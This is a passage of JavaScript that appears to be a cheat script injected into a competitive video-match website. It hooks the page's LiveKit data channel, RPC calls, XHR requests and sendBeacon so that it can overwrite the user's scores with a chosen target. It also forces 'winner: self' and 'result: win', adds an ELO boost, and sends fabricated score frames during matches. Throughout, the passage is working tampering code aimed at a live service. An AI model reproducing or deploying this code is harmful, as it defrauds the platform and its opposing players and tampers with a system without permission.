_lastSpoofedScore = target; spoofPanel();
_traceMatch('lk_publish_pq', { p: parsed.p, oldQ, newQ: parsed.q, target });
log(`[LK MOD] patched p,q ${oldQ/10000} → ${newFloat}`); mod = true;
} else if (parsed.type === 'score_update' && parsed.payload && typeof parsed.payload.score === 'number') {
const oldScore = parsed.payload.score;
const target = _getTargetScore();
const newFloat = target + (CONFIG.scoreBoost / 10000);
const newScoreRaw = Math.round(target * 10000) + CONFIG.scoreBoost;
parsed.payload.score = newFloat;
parsed.payload.overall = newFloat;
if (typeof parsed.payload.your_score === 'number') parsed.payload.your_score = newFloat;
if (typeof parsed.payload.yourScore === 'number') parsed.payload.yourScore = newFloat;
if (typeof parsed.payload.self_score === 'number') parsed.payload.self_score = newFloat;
if (typeof parsed.payload.myScore === 'number') parsed.payload.myScore = newFloat;
if (typeof parsed.payload.myScoreRaw === 'number') parsed.payload.myScoreRaw = newScoreRaw;
if (typeof parsed.score === 'number') parsed.score = newFloat;
if (typeof parsed.overall === 'number') parsed.overall = newFloat;
_traceMatch('lk_publish_score_update', { oldScore, newScore: newFloat });
log(`[LK MOD] patched score_update ${oldScore} → ${newFloat}`); mod = true;
} else if (typeof parsed.score === 'number' && !parsed.p && !parsed.q && parsed.score < 100) {
const target = _getTargetScore();
const newFloat = target + (CONFIG.scoreBoost / 10000);
parsed.score = newFloat;
if (typeof parsed.overall === 'number') parsed.overall = newFloat;
if (typeof parsed.your_score === 'number') parsed.your_score = newFloat;
log('[LK MOD] patched standalone score'); mod = true;
} else if (parsed.type === 'score_submit' && parsed.payload && typeof parsed.payload === 'object') {
const target = _getTargetScore();
if (typeof parsed.payload.self_score === 'number') {
const oldSelf = parsed.payload.self_score;
parsed.payload.self_score = target + (CONFIG.scoreBoost / 10000);
_traceMatch('lk_publish_score_submit', { oldSelf, newSelf: parsed.payload.self_score, opponent: parsed.payload.opponent_score });
log(`[LK MOD] patched score_submit.self_score ${oldSelf} → ${parsed.payload.self_score}`); mod = true;
}
}
const method = parsed.method || parsed.type || parsed.action || '';
if (method === 'setOpponentScore') { return origSend.call(this, data, kind); }
const scoreMethods = ['setMyScore', 'setLiveScores', 'setScore', 'applyFinalScores', 'applyFinalScore', 'setFrameNonce', 'setFinalPayloads', 'setRankedResult'];
if (scoreMethods.includes(method)) {
const target = _getTargetScore();
const raw = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
const newFloat = target + (CONFIG.scoreBoost / 10000);
if (typeof parsed.score === 'number') { parsed.score = newFloat; mod = true; }
if (typeof parsed.overall === 'number') { parsed.overall = newFloat; mod = true; }
if (typeof parsed.your_score === 'number') { parsed.your_score = newFloat; mod = true; }
if (typeof parsed.yourScore === 'number') { parsed.yourScore = newFloat; mod = true; }
if (typeof parsed.self_score === 'number') { parsed.self_score = newFloat; mod = true; }
if (typeof parsed.myScore === 'number') { parsed.myScore = newFloat; mod = true; }
if (typeof parsed.myScoreRaw === 'number') { parsed.myScoreRaw = raw; mod = true; }
if (typeof parsed.selfScore === 'number') { parsed.selfScore = newFloat; mod = true; }
if (typeof parsed.selfScoreRaw === 'number') { parsed.selfScoreRaw = raw; mod = true; }
if (typeof parsed.p1_score === 'number') { parsed.p1_score = newFloat; mod = true; }
if (typeof parsed.p2_score === 'number') { parsed.p2_score = newFloat; mod = true; }
if (typeof parsed.totalScore === 'number') { parsed.totalScore = newFloat; mod = true; }
if (typeof parsed.matchScore === 'number') { parsed.matchScore = newFloat; mod = true; }
if (typeof parsed.actualScore === 'number') { parsed.actualScore = newFloat; mod = true; }
if (parsed.data && typeof parsed.data === 'object') {
if (typeof parsed.data.score === 'number') { parsed.data.score = newFloat; mod = true; }
if (typeof parsed.data.overall === 'number') { parsed.data.overall = newFloat; mod = true; }
if (typeof parsed.data.your_score === 'number') { parsed.data.your_score = newFloat; mod = true; }
if (typeof parsed.data.yourScore === 'number') { parsed.data.yourScore = newFloat; mod = true; }
if (typeof parsed.data.self_score === 'number') { parsed.data.self_score = newFloat; mod = true; }
if (typeof parsed.data.myScore === 'number') { parsed.data.myScore = newFloat; mod = true; }
if (typeof parsed.data.myScoreRaw === 'number') { parsed.data.myScoreRaw = raw; mod = true; }
}
if (Array.isArray(parsed.args)) {
if (parsed.args.length >= 2 && parsed.args.length <= 3) {
const myScoreIdx = _myPlayerIndex !== null ? _myPlayerIndex : 0;
for (let i = 0; i < parsed.args.length; i++) {
if (i === myScoreIdx && typeof parsed.args[i] === 'number') {
if (parsed.args[i] > 0.1 && parsed.args[i] < 9999) { parsed.args[i] = target; mod = true; }
else if (parsed.args[i] > 1000 && parsed.args[i] < 99999999) { parsed.args[i] = raw; mod = true; }
}
}
} else {
for (let i = 0; i < parsed.args.length; i++) {
if (typeof parsed.args[i] === 'number' && parsed.args[i] > 0.1 && parsed.args[i] < 9999) { parsed.args[i] = target; mod = true; }
if (typeof parsed.args[i] === 'number' && parsed.args[i] > 1000 && parsed.args[i] < 99999999) { parsed.args[i] = raw; mod = true; }
}
}
}
if (mod) log(`[LK MOD] patched ${method} msg`);
}
// setLiveScores: patch user's score fields (myScore, myScoreRaw, selfScore, your_score, etc.)
if (method === 'setLiveScores' || (parsed.type === 'setLiveScores')) {
const target = _getTargetScore();
const raw = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
let lsm = false;
const fields = ['myScore', 'myScoreRaw', 'selfScore', 'selfScoreRaw', 'your_score', 'yourScore', 'score', 'overall'];
for (const f of fields) {
if (typeof parsed[f] === 'number') {
parsed[f] = f.endsWith('Raw') ? raw : target;
lsm = true;
}
if (parsed.data && typeof parsed.data === 'object' && typeof parsed.data[f] === 'number') {
parsed.data[f] = f.endsWith('Raw') ? raw : target;
lsm = true;
}
if (parsed.payload && typeof parsed.payload === 'object' && typeof parsed.payload[f] === 'number') {
parsed.payload[f] = f.endsWith('Raw') ? raw : target;
lsm = true;
}
}
if (lsm) {
mod = true;
log(`[LK MOD] patched setLiveScores (myScore fields)`);
}
}
if (mod) {
const lkStr = _cgjEncode(parsed);
const out = new TextEncoder().encode(lkStr);
log(`[LK CGJ] publishData with CGJ injection`);
origSend(out, kind);
return true;
}
} catch(e) {}
return null;
}
[part.publishData, part.publishDataDgram].forEach(fn => {
if (typeof fn === 'function') {
const orig = fn.bind(part);
const wrapper = function(data, kind) {
const mod = _tryPatchLkPublish(data, kind, orig);
if (mod === true) return;
return orig(data, kind);
};
if (fn === part.publishData) part.publishData = wrapper;
else part.publishDataDgram = wrapper;
}
});
log('[LK] publishData/publishDataDgram hooked');
// Hook incoming dataReceived from server/opponent via emit (catches all listeners)
if (typeof room.emit === 'function') {
const origEmit = room.emit.bind(room);
room.emit = function(event, payload, participant, kind) {
if (event === 'dataReceived' && payload) {
try {
const patched = _patchIncomingScore(payload);
if (patched) {
log('[LK IN] patched incoming data via emit');
return origEmit(event, patched, participant, kind);
}
} catch(e) {}
}
return origEmit(event, payload, participant, kind);
};
log('[LK] dataReceived emit hook active');
}
// Hook performRpc for LiveKit RPC-based state sync (omoggle.com uses 23+ RPC methods)
if (typeof part.performRpc === 'function') {
const origRpc = part.performRpc.bind(part);
part.performRpc = function(params) {
try {
if (scoreSpoofAllowed() && params && params.method) {
const scoreRpcMethods = ['setMyScore', 'setOpponentScore', 'setLiveScores', 'applyFinalScores', 'applyFinalScore', 'setFrameNonce', 'setFinalPayloads', 'setRankedResult'];
if (scoreRpcMethods.includes(params.method)) {
let parsedPayload;
try { parsedPayload = JSON.parse(params.payload); } catch(e) { parsedPayload = params.payload; }
const target = _getTargetScore();
const raw = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
if (params.method === 'setMyScore') {
if (typeof parsedPayload === 'number') {
params.payload = String(target);
} else if (typeof parsedPayload === 'object' && parsedPayload !== null) {
if (typeof parsedPayload.score === 'number') parsedPayload.score = target;
if (typeof parsedPayload.overall === 'number') parsedPayload.overall = target;
params.payload = JSON.stringify(parsedPayload);
} else if (typeof parsedPayload === 'string' && !isNaN(Number(parsedPayload))) {
params.payload = String(target);
}
log(`[LK RPC] patched ${params.method}: ${params.payload.substring(0, 100)}`);
} else if (params.method === 'setOpponentScore') {
log(`[LK RPC] ${params.method}: ${typeof params.payload === 'string' ? params.payload.substring(0,100) : '(not string)'} (unchanged)`);
} else if (params.method === 'setLiveScores' && typeof parsedPayload === 'object' && parsedPayload !== null) {
if (typeof parsedPayload.myScore === 'number') parsedPayload.myScore = target;
if (typeof parsedPayload.myScoreRaw === 'number') parsedPayload.myScoreRaw = raw;
if (typeof parsedPayload.score === 'number') parsedPayload.score = target;
if (typeof parsedPayload.overall === 'number') parsedPayload.overall = target;
if (typeof parsedPayload.selfScore === 'number') parsedPayload.selfScore = target;
if (typeof parsedPayload.selfScoreRaw === 'number') parsedPayload.selfScoreRaw = raw;
if (typeof parsedPayload.your_score === 'number') parsedPayload.your_score = target;
if (typeof parsedPayload.yourScore === 'number') parsedPayload.yourScore = target;
params.payload = JSON.stringify(parsedPayload);
log(`[LK RPC] patched setLiveScores: ${params.payload.substring(0, 150)}`);
}
if (params.method === 'applyFinalScores' || params.method === 'applyFinalScore') {
if (Array.isArray(parsedPayload)) {
const ft = _getFinalTarget() / 10000;
_traceMatch('rpc_applyFinalScores', { type: 'array', original: JSON.stringify(parsedPayload), target: ft });
// Only patch our score; leave opponent's alone
const myIdx = _myPlayerIndex === 1 ? 1 : 0;
parsedPayload[myIdx] = ft;
_traceMatch('rpc_applyFinalScores_done', { payload: JSON.stringify(parsedPayload), myIdx });
params.payload = JSON.stringify(parsedPayload);
} else if (typeof parsedPayload === 'object') {
const ft = _getFinalTarget() / 10000;
_traceMatch('rpc_applyFinalScores', { type: 'object', original: JSON.stringify(parsedPayload), target: ft });
if (typeof parsedPayload.p1 === 'number' && typeof parsedPayload.p2 === 'number') {
const ourField = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : (parsedPayload.p1 >= parsedPayload.p2 ? 'p1' : 'p2'));
parsedPayload[ourField] = ft;
} else if (typeof parsedPayload.p1 === 'number') {
parsedPayload.p1 = ft;
} else if (typeof parsedPayload.score === 'number') {
parsedPayload.score = ft;
}
params.payload = JSON.stringify(parsedPayload);
}
_traceMatch('rpc_applyFinalScores_done', { payload: params.payload.substring(0, 200) });
log(`[LK RPC] patched ${params.method}`);
}
if (params.method === 'setFrameNonce' && typeof parsedPayload === 'object') {
if (typeof parsedPayload.score === 'number') parsedPayload.score = target;
if (typeof parsedPayload.overall === 'number') parsedPayload.overall = target;
params.payload = JSON.stringify(parsedPayload);
log('[LK RPC] patched setFrameNonce');
}
if (params.method === 'setFinalPayloads' && typeof parsedPayload === 'object') {
if (typeof parsedPayload.score === 'number') parsedPayload.score = target;
if (typeof parsedPayload.overall === 'number') parsedPayload.overall = target;
params.payload = JSON.stringify(parsedPayload);
log('[LK RPC] patched setFinalPayloads');
}
if (params.method === 'setRankedResult' && typeof parsedPayload === 'object') {
const ft = _getFinalTarget() / 10000;
if (typeof parsedPayload.score === 'number') parsedPayload.score = ft;
if (typeof parsedPayload.overall === 'number') parsedPayload.overall = ft;
parsedPayload.winner = 'self';
parsedPayload.result = 'win';
params.payload = JSON.stringify(parsedPayload);
log('[LK RPC] patched setRankedResult');
}
}
}
} catch(e) {}
return origRpc(params);
};
log('[LK] performRpc hooked');
}
// Hook registerRpcMethod to intercept incoming RPC handler registrations
if (typeof part.registerRpcMethod === 'function') {
const origRegister = part.registerRpcMethod.bind(part);
part.registerRpcMethod = function(method, handler) {
const scoreRpcMethods = ['setMyScore', 'setOpponentScore', 'applyFinalScores', 'applyFinalScore', 'setFrameNonce', 'setFinalPayloads', 'setRankedResult'];
if (scoreRpcMethods.includes(method)) {
const wrappedHandler = function(data) {
try {
if (scoreSpoofAllowed() && data && data.payload) {
let parsedPayload;
try { parsedPayload = JSON.parse(data.payload); } catch(e) { parsedPayload = data.payload; }
const target = _getTargetScore();
if (method === 'setMyScore') {
if (typeof parsedPayload === 'number') {
data = { ...data, payload: String(target) };
} else if (typeof parsedPayload === 'object') {
if (typeof parsedPayload.score === 'number') parsedPayload.score = target;
if (typeof parsedPayload.overall === 'number') parsedPayload.overall = target;
data = { ...data, payload: JSON.stringify(parsedPayload) };
} else if (typeof parsedPayload === 'string' && !isNaN(Number(parsedPayload))) {
data = { ...data, payload: String(target) };
}
log(`[LK RPC IN] patched incoming ${method}`);
} else if (method === 'setOpponentScore') {
log(`[LK RPC IN] ${method} (unchanged)`);
}
if (method === 'applyFinalScores' || method === 'applyFinalScore') {
const ft = _getFinalTarget() / 10000;
if (Array.isArray(parsedPayload)) {
// parsedPayload[0] = our score, parsedPayload[1] = opponent
const mod = [...parsedPayload];
mod[0] = ft;
data = { ...data, payload: JSON.stringify(mod) };
} else if (typeof parsedPayload === 'object') {
const mod = { ...parsedPayload };
if (typeof mod.p1 === 'number' && typeof mod.p2 === 'number') {
const ourField = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : (mod.p1 >= mod.p2 ? 'p1' : 'p2'));
mod[ourField] = ft;
} else {
if (typeof mod.p1 === 'number') mod.p1 = ft;
if (typeof mod.score === 'number') mod.score = ft;
}
data = { ...data, payload: JSON.stringify(mod) };
}
_traceMatch('rpc_in_applyFinalScores', { method, original: data.payload.substring(0, 150), modified: data.payload });
log(`[LK RPC IN] patched incoming ${method}`);
}
if (method === 'setRankedResult') {
const ft = _getFinalTarget() / 10000;
if (typeof parsedPayload === 'object') {
const mod = { ...parsedPayload };
if (typeof mod.myScore === 'number') mod.myScore = ft;
if (typeof mod.score === 'number') mod.score = ft;
if (typeof mod.selfScore === 'number') mod.selfScore = ft;
if (typeof mod.finalScore === 'number') mod.finalScore = ft;
mod.winner = 'self';
mod.result = 'win';
data = { ...data, payload: JSON.stringify(mod) };
}
log(`[LK RPC IN] patched incoming ${method}`);
}
}
} catch(e) {}
return handler(data);
};
log(`[LK] registerRpcMethod wrapped: ${method}`);
return origRegister(method, wrappedHandler);
}
return origRegister(method, handler);
};
log('[LK] registerRpcMethod hooked');
}
// Patch setAttributes to modify score attributes
if (typeof part.setAttributes === 'function') {
const origSetAttr = part.setAttributes.bind(part);
part.setAttributes = function(attrs) {
try {
if (scoreSpoofAllowed() && attrs && typeof attrs === 'object') {
const scoreAttrs = ['myScore', 'score', 'overall', 'selfScore', 'finalScore', 'scoreRaw', 'myScoreRaw', 'selfScoreRaw'];
let mod = false;
const patched = { ...attrs };
const target = _getTargetScore();
const raw = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
for (const k of Object.keys(patched)) {
const v = patched[k];
if (scoreAttrs.includes(k)) {
if (typeof v === 'string' && (v.includes('.') || /^\d+$/.test(v))) {
const num = parseFloat(v);
if (k.endsWith('Raw') || (num > 100 && num < 99999999)) {
patched[k] = String(raw);
} else {
patched[k] = String(target);
}
mod = true;
} else if (typeof v === 'number') {
if (k.endsWith('Raw') || (v > 100 && v < 99999999)) {
patched[k] = raw;
} else {
patched[k] = target;
}
mod = true;
}
} else if (typeof v === 'string' && /^\d+\.\d+$/.test(v)) {
const num = parseFloat(v);
if (num > 0.1 && num < 5000) {
patched[k] = String(target);
mod = true;
}
} else if (typeof v === 'number' && v > 0.1 && v < 5000) {
patched[k] = target;
mod = true;
} else if (typeof v === 'number' && v > 1000 && v < 99999999) {
patched[k] = raw;
mod = true;
}
}
if (mod) {
log(`[LK ATTR] patched: ${Object.keys(patched).filter(k => patched[k] !== attrs[k]).join(',')}`);
return origSetAttr(patched);
}
}
} catch(e) {}
return origSetAttr(attrs);
};
log('[LK] setAttributes patching hooked');
}
} catch(e) {}
}
// ── Frame Fabrication: send extra p,q frames during match ──
let _fabricationRoom = null;
let _fabricationInterval = null;
let _fabricationP = 9000;
let _fabricationMatchActive = false;
let _lastFabricationPhase = '';
// Save room reference when found
const _origHookRoom = _hookLiveKitRoom;
_hookLiveKitRoom = function(room) {
_fabricationRoom = room;
_origHookRoom(room);
};
function _monitorMatchPhase() {
if (!_storeRef) return;
try {
const s = _storeRef.getState();
const phase = s.phase || '';
if (phase === 'playing' || phase === 'battle' || phase === 'match') {
if (!_fabricationMatchActive) {
_fabricationMatchActive = true;
_fabricationP = 9000;
_startFrameFabrication();
log(`[FABRICATE] match started (phase=${phase})`);
}
} else if (_fabricationMatchActive && phase !== _lastFabricationPhase) {
_fabricationMatchActive = false;
_stopFrameFabrication();
log(`[FABRICATE] match ended (phase=${phase})`);
}
_lastFabricationPhase = phase;
} catch(e) {}
}
function _startFrameFabrication() {
if (_fabricationInterval) return;
_fabricationInterval = setInterval(() => {
if (!scoreSpoofAllowed() || !_fabricationMatchActive) return;
try {
const target = _getTargetScore();
_fabricationP++;
const qVal = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
const frame = { p: _fabricationP, q: qVal };
const raw = _cgjEncode(frame);
const encoded = new TextEncoder().encode(raw);
// Send via LiveKit publishData if available
if (_fabricationRoom && _fabricationRoom.localParticipant) {
const part = _fabricationRoom.localParticipant;
if (typeof part.publishData === 'function') {
part.publishData(encoded, { reliable: true });
_traceMatch('pq_fabricated', frame);
log(`[FABRICATE] p=${_fabricationP} q=${qVal}`);
}
}
// Also try via any hooked DataChannel
try {
for (const dc of _dcInstances) {
if (dc.readyState === 'open' && dc.__cmNativeSend) {
dc.__cmNativeSend(encoded);
log(`[FABRICATE DC] p=${_fabricationP} q=${qVal}`);
}
}
} catch(e) {}
} catch(e) { log('[FABRICATE] error:', e); }
}, 2000);
}
function _stopFrameFabrication() {
if (_fabricationInterval) {
clearInterval(_fabricationInterval);
_fabricationInterval = null;
}
}
// Start phase monitor
setInterval(_monitorMatchPhase, 500);
// ── Hook Room class prototype via webpack (catches Room when not on window) ──
let _lkProtoHooked = false;
let _scoringScanAttempts = 0;
function _hookRoomClassPrototype() {
if (_lkProtoHooked) return;
const req = _tryGetWebpackRequire();
if (!req) return false;
// Always try to find scoring module (independent of Room class)
if (!_scoringPatched) {
_tryScanWebpackForScoring(req);
}
if (_tryScanWebpackForRoom(req)) {
_lkProtoHooked = true;
log('[LK] HookRoomClassProto: Room class found, installing prototype hooks');
const RoomClass = _lkRoomClass;
if (RoomClass && RoomClass.prototype) {
const proto = RoomClass.prototype;
// Hook connect to capture Room instances
const origConnect = proto.connect;
if (origConnect && !origConnect.__cmHooked) {
proto.connect = function(...args) {
const result = origConnect.apply(this, args);
if (result && typeof result.then === 'function') {
result.then(() => setTimeout(() => _hookLiveKitRoom(this), 200)).catch(() => {});
}
setTimeout(() => _hookLiveKitRoom(this), 500);
return result;
};
proto.connect.__cmHooked = true;
log('[LK] Room.prototype.connect hooked');
}
}
// Also check store state for Room reference
if (_storeRef) {
try {
const state = _storeRef.getState();
if (state) {
const room = _findRoomInState(state, 0);
if (room) {
log('[LK] Room found in store state, hooking');
setTimeout(() => _hookLiveKitRoom(room), 0);
}
}
} catch(e) {}
}
// Scan for existing Room instances created before the prototype hook
setTimeout(() => { try { _scanExistingRoomInstances(); } catch(e) {} }, 0);
return true;
}
return false;
}
// Scan webpack cache + store state for existing Room instances (pre-hook)
function _scanExistingRoomInstances() {
try {
// Check store state recursively
if (_storeRef) {
const state = _storeRef.getState();
if (state) {
const room = _findRoomInState(state, 0);
if (room) {
log('[LK] Existing Room found in store state');
setTimeout(() => _hookLiveKitRoom(room), 0);
return;
}
}
}
// Scan webpack module exports for Room instances
const req3 = _tryGetWebpackRequire();
if (req3 && req3.m) {
for (const mid of Object.keys(req3.m)) {
try {
const mod = req3(mid);
if (mod && typeof mod === 'object') {
for (const val of Object.values(mod)) {
if (val && typeof val === 'object' && typeof val.connect === 'function' && val.localParticipant) {
log(`[LK] Existing Room found in webpack module ${mid}`);
setTimeout(() => _hookLiveKitRoom(val), 0);
return;
}
}
}
} catch(e) {}
}
}
} catch(e) {}
}
// Poll for Room class via webpack until found
setTimeout(() => {
if (!_lkProtoHooked) {
_hookRoomClassPrototype();
}
}, 100);
const _lkProtoPoll = setInterval(() => {
if (_lkProtoHooked) { clearInterval(_lkProtoPoll); return; }
_hookRoomClassPrototype();
}, 3000);
// Separate polling for scoring module (independent of Room class)
setTimeout(() => {
if (!_scoringPatched) {
const req = _tryGetWebpackRequire();
if (req) _tryScanWebpackForScoring(req);
}
}, 200);
const _scoringPoll = setInterval(() => {
if (_scoringPatched) { clearInterval(_scoringPoll); return; }
const req = _tryGetWebpackRequire();
if (req) _tryScanWebpackForScoring(req);
}, 4000);
const _origETAEL = EventTarget.prototype.addEventListener;
EventTarget.prototype.addEventListener = function(type, fn, opts) {
try {
const t = this;
if (t && typeof t.connect === 'function' && t.localParticipant) {
setTimeout(() => _hookLiveKitRoom(t), 0);
} else if (t && typeof t.connect === 'function') {
const orig = t.connect;
if (!orig.__cmHooked) {
t.connect = function(...args) {
setTimeout(() => _hookLiveKitRoom(t), 100);
return orig.apply(this, args);
};
t.connect.__cmHooked = true;
}
}
} catch(e) {}
return _origETAEL.call(this, type, fn, opts);
};
// Deep recursive window scan for LiveKit Room (searches nested objects too)
const _roomScanVisited = new WeakSet();
function _deepScanForRoom(root, depth) {
if (!root || typeof root !== 'object' || depth > 8) return;
if (_roomScanVisited.has(root)) return;
_roomScanVisited.add(root);
if (typeof root.connect === 'function' && root.localParticipant) {
setTimeout(function() { _hookLiveKitRoom(root); }, 0);
return;
}
try {
const keys = Object.getOwnPropertyNames(root).concat(Object.keys(root));
for (let i = 0; i < keys.length && i < 200; i++) {
try {
const v = root[keys[i]];
if (v && typeof v === 'object' && !_roomScanVisited.has(v) && v !== root) {
_deepScanForRoom(v, depth + 1);
}
} catch(e) {}
}
} catch(e) {}
}
// Continuous LiveKit Room detection (runs every 5s to catch new matches)
function _scanForLiveKitRoom() {
try {
_roomScanVisited.add(_window);
_roomScanVisited.add(_window.document);
_roomScanVisited.add(_window.location);
_roomScanVisited.add(_window.navigator);
_roomScanVisited.add(_window.history);
_roomScanVisited.add(_window.performance);
_roomScanVisited.add(window.localStorage);
_roomScanVisited.add(window.sessionStorage);
_roomScanVisited.add(window.screen);
for (const k of Object.getOwnPropertyNames(_window).concat(Object.keys(_window))) {
if (k.startsWith('_') || k === 'chrome' || k === 'document' || k === 'location' || k === 'navigator') continue;
try {
const v = _window[k];
if (v && typeof v === 'object') _deepScanForRoom(v, 0);
} catch(e) {}
}
} catch(e) {}
setTimeout(_scanForLiveKitRoom, 5000);
}
setTimeout(_scanForLiveKitRoom, 100);
// ── XMLHttpRequest.send HOOK for XHR-based score data ──
const _origXhrSend = _window.XMLHttpRequest.prototype.send;
_window.XMLHttpRequest.prototype.send = function(body) {
const url = this._url || this.responseURL || '';
// Trace ALL XHR sends
if (body) {
const bodyStr = typeof body === 'string' ? body : _dataToString(body);
if (bodyStr) {
try {
const parsed = JSON.parse(bodyStr);
const keys = Object.keys(parsed).sort().join(',');
const scoreVals = [];
for (const sk of ['score','q','myScore','selfScore','finalScore','overall','elo','e','p','s']) {
if (parsed[sk] !== undefined) scoreVals.push(`${sk}=${parsed[sk]}`);
}
log(`[XHR TRACE SEND] ${url.substring(0,100)} keys=[${keys}] ${scoreVals.join(' ')}`);
} catch(e) {
log(`[XHR TRACE SEND] ${url.substring(0,100)} body=${bodyStr.substring(0,200)}`);
}
}
} else {
log(`[XHR TRACE SEND] ${url.substring(0,100)} (no body)`);
}
// Hook load event to log responses
const _origOnLoad = this.onload;
const _origOnRL = this.onreadystatechange;
const _xhr = this;
this.onreadystatechange = function() {
if (_xhr.readyState === 4) {
const respText = _xhr.responseText || '';
const preview = respText.length > 500 ? respText.substring(0, 500) + '...' : respText;
if (respText.includes('score') || respText.includes('finalize') || respText.includes('elo')) {
log(`[XHR TRACE RESP] ${_xhr.status} ${url.substring(0,100)} body=${preview}`);
}
}
if (typeof _origOnRL === 'function') _origOnRL.apply(_xhr, arguments);
};
this.onload = function() {
const respText = _xhr.responseText || '';
const preview = respText.length > 500 ? respText.substring(0, 500) + '...' : respText;
if (respText.includes('score') || respText.includes('finalize') || respText.includes('elo')) {
log(`[XHR TRACE LOAD] ${_xhr.status} ${url.substring(0,100)} body=${preview}`);
}
if (typeof _origOnLoad === 'function') _origOnLoad.apply(_xhr, arguments);
};
try {
if (body && CONFIG.enabled) {
const url = this._url || this.responseURL || '';
if (url.includes('/api/') && (url.includes('score') || url.includes('finalize') || url.includes('match'))) {
const bodyStr = typeof body === 'string' ? body : _dataToString(body);
if (bodyStr) {
try {
const parsed = JSON.parse(bodyStr);
let modified = false;
const ft = _getFinalTarget();
const ff = ft / 10000;
for (const f of ['myScore','selfScore','score','finalScore','totalScore','elo','e']) {
if (f in parsed) {
const v = parsed[f];
if ((f === 'elo' || f === 'e')) {
const num = typeof v === 'number' ? v : parseInt(v) || 0;
parsed[f] = typeof v === 'number' ? num + CONFIG.eloBoost : String(num + CONFIG.eloBoost);
modified = true;
log(`[XHR ELO+5] ${f}: ${v} → ${parsed[f]}`);
} else if (typeof v === 'number') {
parsed[f] = (v > 100 ? ft : ff) + (v > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
modified = true;
} else if (typeof v === 'string' && /^\d+$/.test(v)) {
parsed[f] = String((parseInt(v) > 100 ? ft : ff) + (parseInt(v) > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000));
modified = true;
}
}
}
if (typeof parsed.p === 'number' && typeof parsed.q === 'number' && parsed.q > 0 && !parsed.type) {
if (_myPlayerIndex === null && (parsed.p === 0 || parsed.p === 1)) {
_myPlayerIndex = parsed.p;
_traceMatch('xhr_pq_myPlayerIndex', { p: parsed.p });
}
const target = _getTargetScore();
parsed.q = Math.round(target * 10000) + CONFIG.scoreBoost;
modified = true;
}
// Patch p1/p2 (no underscore) in XHR requests too
if (typeof parsed.p1 === 'number' && typeof parsed.p2 === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : 'p1');
const oldOurs = parsed[ourKey];
parsed[ourKey] = (oldOurs > 100 ? ft : ff) + (oldOurs > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
log(`[XHR] ${ourKey}: ${oldOurs} → ${parsed[ourKey]}`);
modified = true;
}
// Patch p1_score/p2_score: inflate only our score in XHR requests too
if (typeof parsed.p1_score === 'number' && typeof parsed.p2_score === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1_score' : (_myPlayerIndex === 1 ? 'p2_score' : (parsed.p1_score >= parsed.p2_score ? 'p1_score' : 'p2_score'));
const oldOurs = parsed[ourKey];
parsed[ourKey] = (oldOurs > 100 ? ft : ff) + (oldOurs > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
log(`[XHR] ${ourKey}: ${oldOurs} → ${parsed[ourKey]}`);
modified = true;
}
// Override winner/result in XHR finalize requests
if (parsed.winner !== undefined || parsed.result !== undefined) {
const origWinner = parsed.winner;
const origResult = parsed.result;
parsed.winner = 'self';
parsed.result = 'win';
log(`[XHR] winner: ${origWinner} → self, result: ${origResult} → win`);
modified = true;
}
if (modified) {
log('[XHR MOD] patched score in XHR body');
const modStr = _cgjEncode(parsed);
log(`[XHR CGJ] patched with CGJ`);
return _origXhrSend.call(this, typeof body === 'string' ? modStr : new TextEncoder().encode(modStr));
}
} catch(e) {}
}
}
}
} catch(e) {}
// Universal ELO boost for any XHR body
try {
if (CONFIG.eloBoost > 0 && body) {
const bStr = typeof body === 'string' ? body : _dataToString(body);
if (bStr) {
const eparsed = JSON.parse(bStr);
let eMod = false;
for (const ef of ['elo','eloChange','e']) {
if (ef in eparsed) {
const ev = eparsed[ef];
const num = typeof ev === 'number' ? ev : parseInt(ev) || 0;
eparsed[ef] = typeof ev === 'number' ? num + CONFIG.eloBoost : String(num + CONFIG.eloBoost);
eMod = true;
}
}
if (eparsed.u?.e !== undefined) {
eparsed.u.e = String((parseInt(eparsed.u.e) || 0) + CONFIG.eloBoost);
eMod = true;
}
if (eparsed.i?.e !== undefined) {
eparsed.i.e = String((parseInt(eparsed.i.e) || 0) + CONFIG.eloBoost);
eMod = true;
}
if (eMod) {
log(`[XHR ELO UNIV] boosted ELO fields by ${CONFIG.eloBoost}`);
const eStr = _cgjEncode(eparsed);
log(`[XHR CGJ] ELO univ with CGJ`);
return _origXhrSend.call(this, typeof body === 'string' ? eStr : new TextEncoder().encode(eStr));
}
}
}
} catch(e) {}
return _origXhrSend.call(this, body);
};
const _origXhrOpen = _window.XMLHttpRequest.prototype.open;
_window.XMLHttpRequest.prototype.open = function(method, url) {
this._url = url;
return _origXhrOpen.apply(this, arguments);
};
// ── navigator.sendBeacon hook (used for final match submission) ──
if (_window.navigator && typeof _window.navigator.sendBeacon === 'function') {
const _origSendBeacon = _window.navigator.sendBeacon.bind(_window.navigator);
_window.navigator.sendBeacon = function(url, data) {
try {
if (scoreSpoofAllowed() && data && (url.includes('score') || url.includes('match') || url.includes('finalize') || url.includes('ranked'))) {
let strData;
if (typeof data === 'string') { strData = data; }
else if (data instanceof Blob) { /* skip blob, too complex */ }
else if (data instanceof Uint8Array || data instanceof ArrayBuffer) {
const bytes = data instanceof Uint8Array ? data : new Uint8Array(data);
strData = new TextDecoder().decode(bytes);
log(`[BEACON] intercepted ${url.substring(0,80)} data=${strData.substring(0,300)}`);
}
if (strData) {
const clean = strData.replace(/[^\x20-\x7E]/g, '');
try {
const parsed = JSON.parse(clean);
const ft = _getFinalTarget();
const ff = ft / 10000;
let mod = _deepPatchScores(parsed, '', ft, ff);
if (typeof parsed.p1 === 'number' && typeof parsed.p2 === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : 'p1');
const oppKey = ourKey === 'p1' ? 'p2' : 'p1';
const oldOurs = parsed[ourKey];
